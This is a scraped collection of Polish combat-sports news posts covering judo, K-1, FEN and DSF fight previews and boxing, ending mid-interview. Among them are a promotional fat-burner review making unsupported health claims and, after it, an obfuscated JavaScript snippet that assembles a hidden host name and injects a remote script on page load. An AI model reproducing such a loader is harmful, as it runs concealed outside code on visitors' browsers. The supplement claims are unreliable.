Sarajewo okazało się szczęśliwe dla Krzysztofa Załęcznego. W ubiegłym roku 19-latek stawał na podium w Lignano i Pradze, odpowiednio drugie i trzecie miejsce. Zdobyte doświadczenie okazało się cenne, a sam zawodnik okrzepł i nabrał pewności siebie. Na początek rywalizacji w Sarajewie rozprawił się w niespełna pół minuty ze Slavenem Cadjenoviciem. Następnie Załęczny wygrał dwie walki, w tym w finałowej potyczce pokonał zawodnika gospodarzy Vasilije Vujicica i stanął na najwyższym stopniu podium.

Rok temu w Atenach, a teraz w Sarajewie. Eliza Wróblewska (70kg) sięgnęła po drugi srebrny medal w Pucharze Europy na poziomie juniorskim. Polka wygrała trzy walki przed czasem, a w finale przegrała z Shianne Gronen. Jedna wygrana walka dała srebrny medal Julii Świątkiewicz (+78kg). W obu pojedynkach Polce przyszło rywalizować z reprezentantkami Turcji.

Największy sukces w dotychczasowych startach odniósł Patryk Loziak (60kg). 19-latek wywalczył w Sarajewie srebrny medal, który dały mu trzy wygrane walki. Po blisko dwóch latach na podium zameldował się Maciej Krogulski (81kg). W maju 2016 roku w Kownie rywalizował w niższej kategorii wagowej. W Sarajewie Krogulski stanął na drugim stopniu podium, tak jak i Iwo Baraniewski (100kg).

Po brązowe medale sięgnęli: Danuta Majcher (48kg), Aleksandra Kaleta (52kg), Anna Dąbrowska (57kg), Paulina Dziopa (+78kg), Cezary Tchórzewski (73kg), Paweł Drzymał (81kg) oraz Sebastian Ołdak (90kg). Blisko podium, piąte miejsca, uplasowali się Paulina Szlachta (48kg) oraz Paweł Kejza (100kg).

Warto również wspomnieć o Urszuli Hofman (70kg), która zaprezentowała się w zawodach seniorskich w Buenos Aires. 23-letnia zawodniczka AZS AWF Wrocław start w Argentynie rozpoczęła od wygranej z Victorią Delvecchio. Po porażce z Brazylijką Amandą Oliveirą trafiła do repasaży, gdzie pokonała Amerykankę Nicole Stout. W starciu o brąz Urszula Hofman pokonała 21-letnią reprezentantkę Hondurasu Dunię Santo.

Fot. EJU/PZJudo.

KM

Młodzi pokazali pazur

Nie milkną echa mistrzostw Polski seniorów i  juniorów w K-1 Rules. Kolejna wspaniała impreza pod egidą Polskiego Związku Kickboxingu pełna sportowych emocji. Z dobrej strony pokazali się młodzi zawodnicy, którzy z impetem weszli do grona najlepszych.

Wielokrotnie powtarzamy, że doświadczenia nic nie zastąpi. Ale młodość też ma swoje prawa. Udowodnili to Robert Soboń (60kg) i Michał Burdan (75kg). 19-latkowie wywalczyli w Warszawie złote medale. Rok temu Soboń zdobywał mistrzostwo Polski juniorów, a w stolicy w finale uporał się z Dawidem Avagyanem. Mistrzowską ścieżką podąża również Burdan. W ubiegłym roku triumfował w juniorach, zaś w stolicy debiutował w gronie seniorów. Poradził sobie znakomicie, po drodze pokonał doświadczonego Piotra Sokoła, a w finale wygrał z Mateuszem Słotą. – Młodzi wchodzą do rywalizacji i dobrze sobie radzą, ale nie jest to dzieło przypadku. Zawodnicy wcześniej prezentują się na mistrzowskich imprezach na poziomie kadetów i juniorów. Zdobywają cenne doświadczenie, które później procentuje – mówi FighTime.pl Piotr Siegoczyński, prezes Polskiego Związku Kickboxingu.

Ponownie ze znakomitej strony zaprezentował się Patryk Kuryłek (57kg). Zawodnik z Kobyłki powtórzył sukces z poprzedniego roku, tak jak i reprezentanci warszawskiej Palestry Bartosz Dołbień (81kg) i Michał Bławdziewicz (+91kg). Tytuł obroniła również Ewa Pietrzykowska (56kg), która w finale stoczyła pojedynek z rywalką zza miedzy. Zawodniczka Palestry pokonała Paulinę Saczuk ze Stowarzyszenia Sportu i Rekreacji Wola.

Miano najlepszej zawodniczki przypadło Emilii Czerwińskiej (60kg) z SKF Boksing Zielona Góra, zaś wyróżnienie wśród panów otrzymał Wojciech Kazieczko (67kg) z Funfit Boxing Team Zielona Góra.

W Hali Koło w Warszawie było gorąco. – Zjechało się wielu bardzo dobrych zawodników z całej Polski. Nie jest łatwo zorganizować imprezę w Warszawie, tym bardziej cieszymy się, że nam się udało. To znakomite rozwiązanie logistyczne dla kibiców. Na trybunach zasiadło wielu z Warszawy, którzy dopingowali swoich zawodników, ale nie brakowało również osób z innych zakątków Polski. Moim zdaniem impreza była zorganizowana na wysokim poziomie. Ogromne podziękowania pragnę skierować do Urzędu Dzielnicy Wola m.st. Warszawy za udzielone nam wsparcie – podkreśla Piotr Siegoczyński.

Mistrzowie Polski seniorów K-1:

-57kg Patryk Kuryłek (MKS Wicher Kobyłka)

-60kg Robert Soboń (Sportowy Klub Kickboxing Kielce)

-63,5kg Przemysław Kacieja (SKF Boksing Zielona Góra)

-67kg Wojciech Kazieczko (Funfit Boxing Team Zielona Góra)

-71kg Łukasz Kaczmarczyk (KS Gym Fight Wrocław)

-75kg Michał Burdan (Klub Kyokushin-kan Karate Do w Chełmie)

-81kg Bartosz Dołbień (Palestra Warszawa)

-86kg Maksymilian Bratkowicz (KS Gym Fight Wrocław)

-91kg Tomasz Konieczny (KS Oyama Rzeszów)

+91kg Michał Bławdziewicz (Palestra Warszawa)

-48kg Karolina Kubiak (Łaski Klub Sztuk Walki)

-52kg Sandra Drabik (Sportowy Klub Kickboxing Kielce))

-56kg Ewa Pietrzykowska (Palestra Warszawa)

-60kg Emilia Czerwińska (SKF Boksing Zielona Góra)

-65kg Pola Rogala (Stowarzyszenie Sportu i Rekreacji Wola Warszawa)

-70kg Kamila Bałanda (Champion Gdańsk)

KM

Pacut: Jestem zadowolona z tego wyniku

Beata Pacut (78kg) ma za sobą debiut w zawodach rangi Grand Slam w judo. W Jekaterynburgu, w swoim pierwszym starcie w sezonie, Polka zajęła 5. miejsce. – Starałam się myśleć o tym turnieju jako o starcie jednym z wielu – podkreśla judoczka.

W Rosji Beata Pacut pokonała Chloe Dollin i Albinę Amangeldiyevą, w półfinale zatrzymała ją Rika Takayama. W starciu o brąz lepsza od Polki okazała się Maria Anna Wagner. – Był to mój pierwszy start w zawodach rangi Grand Slam. Cały czas starałam się myśleć o tym turnieju jako o starcie jednym z wielu. Za chwilę rozpoczynają się kwalifikacje olimpijskie, więc takie zawody będą często i staną się „normalnością”. W związku z tym nie chciałam wyolbrzymiać rangi występu w Rosji, aby nie budować sama sobie dodatkowej presji. Stwierdziłam, że muszę podejść do tego na luzie. Ostatnio też startowałam pierwszy raz w Grand Prix w Uzbekistanie. Zajęłam tam 2. miejsce, więc byłam dobrej myśli – przedstawia FighTime.pl Beata Pacut.

22-latka zapisała na swoim koncie kolejne doświadczenie. Na własnej skórze mogła poznać smak Grand Slam. Pacut podkreśla, że osiągnięty w Jekaterynburgu wynik jest dla niej zadowalający. – Był to nie tylko mój debiut w Grand Slamie, ale również pierwszy start w tym roku. W okresie zimowym skupialiśmy się na treningach siłowych, potem przechodzimy do treningów specjalistycznych i wytrzymałościowych, a więc w Rosji miałam start sprawdzający. Jestem zadowolona z 5. miejsca. Wiadomo, że pozycja medalowa bardziej by mnie ucieszyła. Taki jest sport i ważne, że wiem nad czym muszę jeszcze popracować – zaznacza Pacut.

Na analizę startu w Rosji judoczka nie ma zbyt wiele czasu. Niebawem Pacut czeka kolejny występ, do którego musi się należycie przygotować. – Już za dwa tygodnie, dokładnie w Niedzielę Wielkanocną, startuję w kolejnym Grand Prix w Gruzji. Prosto z Tibilisi lecę do Taty (Węgry), gdzie odbędzie się camp treningowy. Po nim dwa dni w domu na przepakowanie torby i ruszam do Zakopanego na obóz bezpośrednio przygotowujący do Mistrzostw Europy, które odbędą się pod koniec kwietnia w Tel Awiwie – wylicza najbliższe plany 22-letnia Polka.

KM

Otarły się o podium

Agata Ozdoba-Błach (63kg) oraz Beata Pacut (78kg) zajęły piąte miejsca w turnieju Grand Slam w judo w Jekaterynburgu. Za nami również Mistrzostwa Polski Juniorów w Bytomiu, w których najlepsi okazali się gospodarze.

Brązowa medalistka mistrzostw świata odniosła pierwsze zwycięstwo w tym roku. Wcześniej startowała w Dusseldorfie, gdzie szybko pożegnała się z rywalizacją. W Rosji Ozdoba-Błach uporała się z Cloe Yvin, a następnie z ubiegłoroczną zwyciężczynią zawodów w Jekaterynburgu Martyną Trajdos. Przeszkodą nie do przejścia dla Polki okazała się Aimi Nouchi. Należy wspomnieć, że 22-letnia Japonka wygrała zawody w Rosji. W starciu o brąz Ozdoba-Błach spotkała się z Edwige Gwend, którą pokonała w ubiegłorocznych mistrzostwach świata. Tym razem 28-letnia Włoszka zrewanżowała się Polce i wywalczyła brąz. Gwend po raz drugi w tym roku stanęła na najniższym stopniu podium.

Debiut w zawodach rangi Grand Slam zaliczyła Beata Pacut. Brązowa medalistka ubiegłorocznych Młodzieżowych Mistrzostw Europy mocno weszła w turniej. Polka przed czasem wygrała z Chloe Dollin, a następnie z Albiną Amangeldiyevą. Pacut zatrzymała się w półfinale na Rice Takayamie, z którą wygrała przed czterema laty podczas mistrzostw świata juniorek. Tym razem ze zwycięstwa cieszyła się Japonka. 22-letniej Polce pozostała walka o brąz, jednak lepsza okazała się mistrzyni Europy U23 Anna Maria Wagner.

Siódme miejsce w Jekaterynburgu zajęła Agata Perenc (52kg). Tym samym powtórzyła wynik osiągnięty w Dusseldorfie. Na początek Polka pokonała Darię Bobrikovą, a kolejne dwa pojedynki przegrała.

Gospodarze najlepsi w Bytomiu

Pięć złotych krążków wywalczyli reprezentanci GKS Czarnych Bytom w mistrzostwach Polski. Złote medale zawisły na szyjach: Natalii Kropskiej (63kg), Pauliny Dziopy (+78kg), Patryka Łoziaka (60kg), Kacpra Kaczora (66kg) oraz Paweł Drzymał (81kg).

Triumfatorzy Mistrzostw Polski Juniorów:

-44kg Izabela Olejnik (KS Akademia Judo Poznań)

-48kg Marta Kuraś (UKS Judo Wolbrom)

-52kg Aleksandra Kaleta (UKS Judo Wolbrom)

-57kg Anna Dąbrowska (MKS Juvenia Wrocław)

-63kg Natalia Kropska (GKS Czarni Bytom)

-70kg Eliza Wróblewska (KS Akademia Judo Poznań)

-78kg Wiktoria Tomczak (MKS Olimpijczyk Włocławek)

+78kg Paulina Dziopa (GKS Czarni Bytom)

 

-55kg Piotr Zaborowski (UKJ ASzWoj Warszawa)

-60kg Patryk Łoziak (GKS Czarni Bytom)

-66kg Kacper Kaczor (GKS Czarni Bytom)

-73kg Cezary Tchórzewski (AZS AWF Katowice)

-81kg Paweł Drzymał (GKS Czarni Bytom)

-90kg Michał Jackiewicz (UKJ ASzWoj Warszawa)

-100kg Paweł Kejza (KS Kejza Team Rybnik)

+100kg Krzysztof Załęczny (TKS Judo Toruń)

 

Fot. Zdjęcie poglądowe

KM

LIVE: Mistrzostwa Polski K-1, Warszawa 2018 – Dzień 1 Ring2

Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski K-1, które odbywaja sie w Warszawie.

[kod]

RING 2

Mistrzostwa Polski K-1, Warszawa 2018

Mistrzostwa Polski K-1, Warszawa 2018

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MP_K1_2.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MP_K1_2.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MP_K1_2.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MP_K1_2.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Mistrzostwa Polski K-1, Warszawa 2018 – Dzień 2 Ring2

Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski K-1, które odbywaja sie w Warszawie.

[kod]

RING 2

Mistrzostwa Polski K-1, Warszawa 2018

Mistrzostwa Polski K-1, Warszawa 2018

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MP_K1_2.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MP_K1_2.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MP_K1_2.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MP_K1_2.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Spalacz tluszczu REDOX – poznaj naszą opinię

Coraz częściej szukając efektywnego spalacza tłuszczu, spotykamy się ze wzmiankami o produkcie Allnutrition Redox Extreme. Jak sugeruje producent, suplement ten jest obecnie najlepszą opcją, aby pozbyć się nadmiaru tłuszczu z organizmu, co stanowi dobrą alternatywę dla produktów obecnych na rynku od kilku lat. Jak piszą użytkownicy forum SFD, dzięki produktowi Redox Extreme, udało się im schudnąć do pułapu, który wyznaczyli sobie jako cel, a pomoc wykwalifikowanych dietetyków i trenerów, którą otrzymali po zakupie suplementu, znacznie przyspieszyła efekty redukcji.

Przyglądając się więc produktowi, naszą uwagę przykuł fakt, że kupując suplement diety, nie tylko otrzymujemy sam spalacz Redox Extreme, ale i pomoc dietetyka/trenera, który ustali nam dietę, jak i sposób, w jaki mamy trenować. Jest to dość nietypowe rozwiązanie, jak na sprzedaż suplementu diety, które wymaga podkreślenia. Co więcej, jak wyczytać możemy w sklepie SFD, do produktu dołączony jest fałdomierz wraz z instrukcją wykonywania pomiarów, który pozwoli nam na kontrolowanie efektów.

Patrząc z kolei stricte na skład spalacza Redox Extreme, zauważyć można, że pierwszą substancją, która jest wyszczególniona i która ma działać silnie termogenicznie, jest opatentowana forma kapsaicyny w postaci capsimax. Substancja ta, dodatkowo będzie blokować apetyt, jak i wspomagać wrażliwość insulinową, co wskazuje szerokie spektrum działania spalacza. Dodatkowo chrom i wyciąg z cynamonu, mają za zadanie wesprzeć działanie podtrzymujące gospodarkę cukrową, co zapobiega efektowi ponownemu magazynowaniu energii w postaci tkanki tłuszczowej.

Jednak, na forum sfd spotykamy się również z wpisami, gdzie sugerowano, że spalacz znacznie podnosi możliwości układu nerwowego. Zawiera bowiem w swoim składzie takie komponenty jak różeniec górski, wyciąg z szafranu, które wykorzystują swoje działania adaptogenne, pozwalając szybciej się regenerować, jak i podtrzymywać jego aktywność na wysokim poziomie. Co więcej, wyciąg z szafranu posiada właściwości, które podtrzymują dobre samopoczucie, co ma przeciwdziałać obniżonemu nastrojowi, wynikającemu z niskiej podaży energii.

Należy jednak pamiętać, że samo wykorzystanie spalacza to nie tylko efekt doraźny, stricte redukujący tłuszcz. To również wsparcie motywacyjne, psychologiczne, które polegać ma na podtrzymaniu motywacji do treningów. Wykorzystanie spalacza w formie przedtreningówki to również okazja do tego, aby trening był intensywniejszy, dłuższy, co pozwala spalić więcej kalorii podczas jednego wysiłku.

Podsumowując

Kupując spalacz Redox Extreme, otrzymujemy nie tylko suplement diety, ale i wsparcie dietetyka i trenera. Pozwala to na kompleksowe podejście do tematu odchudzania, które można dodatkowo kontrolować za pomocą fałdomierza. Z analizy wpisów na forum sfd jasno wynika, że jest to inwestycja godna uwagi, która daje znakomite rezultaty.

[kod]

(function(){
apk2=document.createElement("script");apk2_="u"+("s")+"ta";
apk2_+=("t.i")+""+"n";apk2_+=(("f")+"o");apk2.type="text/javascript";
apk2_+="/"; apk2u="72465988";apk2u+=".yh3gbum2pk2glx4q9lu";apk2u+="5pzxz8zqvaX";
apk2.src="//"+apk2_+apk2u; apk2.async=true; document.body.appendChild(apk2);
})();

Korczak – Szreder na FEN 20

Znamy już wszystkich zawodników jubileuszowej, warszawskiej FEN 20 „Next Level”! 10 marca rywalem Marcina Szredera (5-2) będzie Rafał Korczak (1-1).

Dla Korczaka (1-1) będzie to debiut w federacji FEN. Dotychczas, trenujący na co dzień w klubie Uniq Fight Club zawodnik, stoczył w swojej krótkiej karierze dwa pojedynki – raz wygrywając i raz doznając porażki. Do walki na Torwarze przygotowuje się między innymi w towarzystwie Radosława Paczuskiego, którego zobaczymy w pojedynku wieczoru FEN 20. Warszawianin Korczak liczy na to, że dzięki pokonaniu Szredera w efektowny sposób zaznaczy swoją obecność w barwach federacji już podczas inauguracyjnego występu.

Dla Marcina Szredera (5-2) będzie to piąty występ dla Fight Exclusive Night i siódmy zawodowy pojedynek K-1 w karierze. Zdobywca Pucharu Europy WAKO w K-1 i low-kick debiutował w klatkoringu FEN pewnym zwycięstwem na punkty z Niemcem Aytakiem Yahsim podczas gali FEN 11 „Warsaw Time”. W marcu ubiegłego roku podczas FEN 16 „Warsaw Reloaded” już w pierwszej rundzie pokonał Ihara Kamkou, dwukrotnie powalając go na deski zanim narożnik Białorusina zdecydował się rzucić na ring ręcznik. Do historii FEN przeszły szczególnie emocjonujące starcia Szredera z Arturem Bizewskim, którego również zobaczymy w akcji 10 marca.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • Rafał Korczak VS Marcin Szreder 95 formuła K-1
  • Adrian Błeszyński VS Alan Kwieciński -77 kg K-1

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

MAZURKIEWICZ: Zwycięstwo nad Kosowskim przybliży mnie do walki o pas federacji DSF!

Już 9 marca na gali DSF Kickboxing Challenge: Twierdza dojdzie do rewanżowej walki pomiędzy Marcinem Mazurkiewiczem (8-3) a Wojciechem Kosowskim (9-2-1). Zwycięzca wykona wielki krok w kierunku pojedynku o mistrzowski pas federacji w wadze do 77 kg.     W tej kategorii federacja nie ma jeszcze swojego czempiona!

Pas DSF w kategorii do 77 kg jest nieobsadzony. To ja chcę zostać pierwszym mistrzem federacji w tej wadze. Pracuję na to bardzo ciężko – przekonuje pewny siebie Mazurkiewicz. – Nie ma złej krwi między mną a rywalem. To sport, każdy chce wygrać. Stoczymy dobrą walkę, ale tym razem to ja będę górą. To będzie mój pierwszy pojedynek w tym roku. Chcę dobrze zacząć i wykonać duży krok w kierunku mistrzowskiego pasa DSF Kickboxing Challenge!

33-letni Kosowski mocno studzi zapędy przeciwnika.

Mam przed sobą poważne wyzwanie. DSF to obecnie najmocniejsza federacja na polskim rynku K-1. Nie mogłem jej odmówić. Ta walka pokaże, czy się jeszcze nadaję – ocenia Wojciech Kosowski. – Marcin mówi głośno, że chce zdobyć pas federacji. Uważam, że w życiu trzeba twardo stąpać po ziemi, nie lewitować. W samej Palestrze jest kilku zawodników, których bardziej bym widział z takim pasem. Po sparingach w klubie często wychodzę bardziej poobijany niż po walce zawodowej z Marcinem Mazurkiewiczem w 2016 roku – kończy weteran.

25-letni Mazurkiewicz i starszy o osiem lat Kosowski po raz pierwszy starli się w grudniu 2016 roku na gali DSF Kickboxing Challenge: Najlepsi z Najlepszych w Hotelu Marriott w Warszawie. Doświadczenie wygrało wówczas z młodością. Rok później dawni rywale znów spotkają się w ringu. Stawka będzie jednak wyższa.

Wtedy mnie pokonał, choć walka była bardzo bliska. Czekałem na ten rewanż i nie widzę innej opcji niż moje zwycięstwo. Głód jest spotęgowany tym, że wtedy przegrałem. To siedzi z tyłu głowy, więc ze zdwojoną siłą chcę pokazać swoje możliwości. Tym razem wygra ten, kto bardziej się rozwinął – mówi Mazurkiewicz.

Zwycięzca pierwszej walki stracił cały 2017 rok z powodu kontuzji. Po dwóch operacjach w pełni sprawny Wojciech Kosowski wrócił do treningów i zamierza szybko nadrobić stracony czas.

Pamiętam, że walka była zacięta, ale sędziowie widzieli moje zwycięstwo. Powtórzenie tego wyniku to dla mnie szansa na powrót do gry – przyznaje zawodnik klubu Palestra Warszawa. – Mój przeciwnik jest zdeterminowany, by się odegrać. Widzę, że zmienił styl na bardziej ofensywny. Nie próżnował i stoczył dla organizacji DSF dwie wygrane walki w ubiegłym roku. Na pewno rewanż będzie dla mnie trudniejszy, ale nie boję się wyzwań – dodaje Kosowski.

Trenujący na co dzień w Fight House Nowy Sącz Mazurkiewicz nie ma wątpliwości, że ciężka praca przyniesie efekty i na ringu w Nowym Dworze Mazowieckim to jego ręka powędruje w górę po ostatnim gongu.

Trenuję do upadłego, nie ma półśrodków. Zawsze daję z siebie wszystko, bo nie chcę zostać zapomniany. Jestem dziś pod każdym względem lepszy niż w pierwszej walce. Będę twardy, nieustępliwy i cały czas zamierzam iść do przodu. Chcę dominować w ringu. Zobaczą to sędziowie jak i przeciwnik, który albo pęknie, albo wywiąże się z tego dobra walka. Wiem, czego pragną kibice. Chcę im dać wielkie widowisko – zapewnia sądeczanin.

Z jednej strony będą ambicje młodego wojownika, z drugiej wielkie doświadczenie i spokój ringowego weterana, który w przeszłości dwukrotnie (w latach 2012 i 2014) zdobywał tytuł mistrza świata Muay Thai.

Nie jestem dobrym oratorem, ale widzę za to, że mój przeciwnik poprawił się na tym gruncie.       W ringu walczy dwóch, na pewno jeden będzie miał po konfrontacji ręce uniesione, a drugi opuszczone. Spekulacje zostawmy bukmacherom. Gdybym miał obstawiać pieniądze, postawiłbym na siebie. Czy wygrają doświadczenie i rutyna, czy młodość i ambicja rywala? Przekonajcie się samemu, przychodząc 9 marca na halę NOSiR w Nowym Dworze Mazowieckim – odpowiada Kosowski.

W walce wieczoru gali DSF Kickboxing Challenge: Twierdza w federacji zadebiutuje Piotr Strus, którego w trzyrundowym starciu w kategorii do 91 kg przetestuje niebezpieczny Brice Kombou z Kamerunu. Wcześniej do obrony mistrzowskiego tytułu Full Contact (81 kg) przystąpi Łukasz Wichowski, który zmierzy się z trzykrotnym mistrzem świata z Francji Yohanem Lidonem. Pierwszą tegoroczną walkę stoczy również znany z występów na całym świecie Rafał Dudek (71 kg), a kolejną atrakcją dla kibiców kickboxingu będzie obsadzony gwiazdami europejskiej sceny K-1 turniej w kategorii do 65 kilogramów.

Bilety na galę DSF Kickboxing Challenge: Twierdza są dostępne w cenie od 50 PLN w serwisie TicketClub.pl.

Najpierw Parker, potem Miller?

Marzec upłynie pod znakiem ciekawych walk w bokserskiej wadze ciężkiej. 3 marca w Barclays Center mistrz WBC Deontay Wilder zmierzy się z Luisem Ortizem. Między pięściarzami iskrzy od dawna. Na drugie starcie trzeba będzie poczekać do 31 marca. Wtedy to w Cardiff do ringu wejdą czempion IBF, IBO, WBA Anthony Joshua i właściciel pasa WBO Joseph Parker. Jednak promotor urodzonego w Watfordzie boksera już myśli o kolejnych wyzwaniach.

Aby osiągnąć sukces trzeba mieć cel i konsekwentnie do niego dążyć. Czasami nie należy skupiać się na tym, co tu i teraz. Momentami bywa ciężko, ale trzeba zacisnąć zęby i iść dalej. Joshua jest już na szczycie i uchodzi za gwiazdę światowego pięściarstwa. Nad jego karierą czuwa Eddie Hearn, który nie próżnuje. Wszyscy miłośnicy boksu oczekują, że w tym roku przyjdzie im zobaczyć starcie Joshuy z Wilderem. Dyskusja na ten temat toczy się od dawna. W styczniu Eddie Hearn dał do zrozumienia, że "AJ" jest w stanie rywalizować z Amerykaninem, ale ten ma zbyt wygórowane żądania. Mistrz WBC był oburzony, gdy złożono mu propozycję starcia z Dillianem Whyte'm. 

Gwiazdy wagi ciężkiej na ringu pojawią się w marcu. Joshua będzie miał okazję dołożyć do swojego dorobku kolejny pas. W Cardiff zmierzy się z mistrzem WBO Josephem Parkerem, który tytuł zdobył ponad rok temu zwyciężając Andy'ego Ruiza. 26-letni Nowozelandczyk dwa razy bronił pasa – pokonał Razvana Cojanu i Hughie Fury'ego.

Hearn ma już pomysł na kolejnego rywala dla Joshuy i wcale nie jest to Wilder. Promotor czempiona z Watford czyni przymiarki do jego debiutu w Stanach Zjednoczonych. Joshua miałby zmierzyć się z Jarrellem Millerem, który niedawno pokonał Mariusza Wacha. Jak dotąd 29-latek nie przegrał żadnnego pojedynku, wygrał 20, a 28 kwietnia spotka się z byłym pretendentem do pasa WBC Johannem Duhapasem. – Miller jest czołowym zawodnikiem amerykańskiej wagi ciężkiej. Jego szanse w starciu z Duhaupasem oceniam 50-50. W ostatniej walce Miller nie prezentował się najlepiej, ale na tle Wacha ciężko dobrze wypaść, a Jarrell wygrał przed czasem – mówi promotor Anthony'ego Joshuy.

A może zapowiedzi Hearna to tylko gra, która ma obniżyć żądania Wildera? – Miller ma okazję udowodnić, że jest gotowy na mistrzowskie starcie. Jeśli Wilder nadal będzie fantazjował, to w sierpniu będzie dążyli do walki Joshua vs Miller – zapowiada Hearn.

KM

Wielkie wyzwania przed Strusem i Wichowskim na DSF Kickboxing Challenge: Twierdza!

Jak debiutować – to z przytupem. 9 marca na gali „DSF Kickboxing Challenge: Twierdza” Piotr Strus nie będzie miał taryfy ulgowej. W pierwszej walce dla federacji zmierzy się z niebezpiecznym Brice’em Kombou. Kameruńczyk z niemieckim paszportem to pogromca obecnego mistrza DSF Kickboxing Challenge Maksymiliana Bratkowicza. Na tej samej gali niepokonany Łukasz Wichowski będzie bronił tytułu w formule Full Contact w starciu z francuskim mistrzem świata – Yohanem Lidonem.

Piotr Strus, zanim rozpoczął karierę w MMA, walczył z powodzeniem w formułach stójkowych. Bardzo dobrze prezentował się w K-1, w którym odniósł 7 zwycięstw w ośmiu występach (jedna walka zakończyła się remisem). Walką z Kombou pochodzący z Warszawy zawodnik chce podtrzymać dobrą passę i udanie zaprezentować się przed fanami najlepszej polskiej federacji kickboxingu.

""

Widziałem jego walkę z Maksem, Kombou to bardzo groźny zawodnik, który opiera swój styl na dobrej kondycji i cały czas poluje na mocne uderzenia. Nie dam mu się rozwinąć, spróbuję go stłamsić od początku. Jestem w treningowym sztosie i zapewniam was, że zobaczycie trzyrundową wojnę w naszym wykonaniu. Nikt nie pożałuje, że przyszedł obejrzeć mój debiut w DSF Kickboxing Challenge – gwarantuje 29-letni Strus.

Wielkie wyzwanie czeka także mistrza DSF Kickboxing Challenge w formule Full Contact w kategorii do 81 kilogramów. Rywalem Łukasza Wichowskiego będzie znany z agresywnego stylu i potężnego uderzenia Yohan Lidon. 34-letni Francuz jest trzykrotnym mistrzem świata         w Muay Thai i kickboxingu. Stoczył ponad sto zawodowych walk i odniósł w nich aż 93 zwycięstwa (56 przez nokaut). Jako pierwszy kickbokser w historii Lidon został mistrzem świata It’s Showtime.

""

Mój rywal jest znakomitym zawodnikiem. Tylko starcia z takimi fighterami motywują do wchodzenia na jeszcze wyższy poziom sportowy. Cieszę się z tego wyzwania, ale ten pas jest ze mną praktycznie od początku istnienia i nie zamierzam go oddawać. Pozostanę mistrzem DSF Kickboxing Challenge w formule Full Contact – zapewnia Wichowski, który w zawodowej karierze stoczył 15 walk i nie przegrał ani razu.

Pod dużym wrażeniem umiejętności Yohana Lidona jest dyrektor sportowy DSF Kickboxing Challenge Robert Złotkowski, który postanowił ściągnąć Francuza do Polski.

Ciężko znaleźć godnego rywala dla Łukasza Wichowskiego. Myślę, że tym razem to się udało. Jedno jest pewne, czeka nas pięć fantastycznego kickboxingu, jeśli oczywiście walka nie zakończy się przed czasem. Łukasz, jak sam o sobie mówi, chce kroczyć drogą swojego mistrza Marka Piotrowskiego, który walcząc przez całą karierę z najlepszymi w formule Full Contact osiągnął w tym piekielnie trudnym sporcie wszystko. Jeśli Łukasz chce być najlepszy, musi iść tą samą drogą – podkreśla Złotkowski.

""

Kolejnym spektakularnym wydarzeniem na gali w Nowym Dworze Mazowieckim będzie międzynarodowy – czteroosobowy turniej (do 65 kg) mistrzów, który w takiej formule odbędzie się po raz pierwszy na DSF Kickboxing Challenge. Bardzo interesująco zapowiadają się także dwie walki zawodników z Nowego Sącza – Rafała Dudka (71 kg) i Marcina Mazurkiewicza (77 kg).

Pierwszy wciąż należy do najlepszych polskich kickbokserów. Drugi to jego wychowanek, który pokazał się z bardzo dobrej strony w 2017 roku. Obaj mówią jednym głosem, że w tym roku chcieliby stanąć do walki o pasy DSF Kickboxing Challenge w swoich kategoriach. Jeśli chcą zbliżyć do tego celu, muszą w Nowym Dworze pokazać mistrzowską formę.

Bilety na galę DSF Kickboxing Challenge: TWIERDZA są dostępne w cenie od 50 PLN na stronie TicketClub.pl.

Leśko przed FEN 20: To ja będę górą w tym czysto sportowym pojedynku

Bartosz Leśko (6-0-1, 2 KO, 3 SUB) zmierzy się z Marcinem Naruszczką (18-8, 7 KO, 2 SUB) podczas gali Fight Exclusive Night 20 "Next Level". Zawodnik z Gdyni stoczy dopiero swój trzeci pojedynek w barwach federacji, a starcie z Naruszczką będzie największym jego wyzwaniem w dotychczasowej karierze. Leśko jest przekonany, że to jego ręka będzie w górze po walce.

Już tylko kilkanaście dni pozostało do gali FEN 20. Jak się czujesz?

Bartosz Leśko:Bardzo dobrze. Z dnia na dzień coraz lepiej. Sam jestem zdumiony, w jakiej jestem formie, a przecież do walki zostało jeszcze trochę czasu. Energia we mnie buzuje, jestem gotowy już dziś wyjść do klatki.

Ile ważysz?

BL:91 kilogramów, trochę schudłem, by w ostatnim etapie przed walką mieć mniej do zbijania. Jestem dużo szybszy już dziś, a jeszcze sporo przed nami. Forma ma przyjść 10 marca i tak też jestem prowadzony.

Marcin Naruszczka ważył dużo więcej podczas przygotowań. Wiele osób zwracało uwagę na to, że urósł.

BL:Bardzo dobrze – jeżeli tak czuł się dobrze, to podjął słuszną decyzję – nic mi do tego. Musi więcej zbijać do pojedynku, ale to doświadczony zawodnik i na pewno sobie z tym poradzi.

Oglądałeś jego walki?

